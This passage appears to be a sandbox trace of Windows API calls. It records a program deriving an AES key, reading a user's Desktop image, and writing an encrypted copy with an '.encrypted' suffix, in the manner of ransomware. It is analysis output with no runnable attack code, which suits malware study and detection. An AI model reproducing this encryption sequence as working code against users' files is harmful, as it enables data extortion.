lpMsg=0xe8f3dfe760) returned 0 [0022.741] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.741] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.741] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.742] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062800) returned 1 [0022.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.742] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.742] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.742] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.742] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0022.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.743] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.743] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.743] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.743] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.744] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.gif" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\xkrc6.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.744] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.744] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.744] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm")) returned 0x10 [0022.744] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\xkrc6.encrypted.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.745] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.745] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.745] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.745] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.746] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.746] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xd303, lpOverlapped=0x0) returned 1 [0022.747] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.750] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.750] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.750] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.750] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.750] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.751] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.751] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.751] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.751] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.751] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.751] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.752] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.752] CryptGetKeyParam (in: hKey=0xe8f4062800, dwParam=0x7, pbData=0xe8f4064cb0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cb0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.752] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.752] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.752] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.752] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.752] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.753] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.753] CryptEncrypt (in: hKey=0xe8f4062800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xd303, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xd310) returned 1 [0022.753] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.753] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.753] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.753] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.753] CharLowerBuffW (in: lpsz="byte[54033]", cchLength=0xb | out: lpsz="byte[54033]") returned 0xb [0022.753] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.754] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.754] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.754] CryptEncrypt (in: hKey=0xe8f4062800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41e8300*, pdwDataLen=0xe8f3dfdf68*=0xd303, dwBufLen=0xd310 | out: pbData=0xe8f41e8300*, pdwDataLen=0xe8f3dfdf68*=0xd310) returned 1 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.754] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.754] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.754] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.754] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.756] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.757] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.757] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.757] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.757] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.757] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.757] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.757] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.757] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.758] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.758] CryptDestroyKey (hKey=0xe8f4062800) returned 1 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.758] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.758] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.758] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.758] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.758] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.758] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.758] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.758] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.758] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.758] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.758] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0022.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.759] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.759] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, 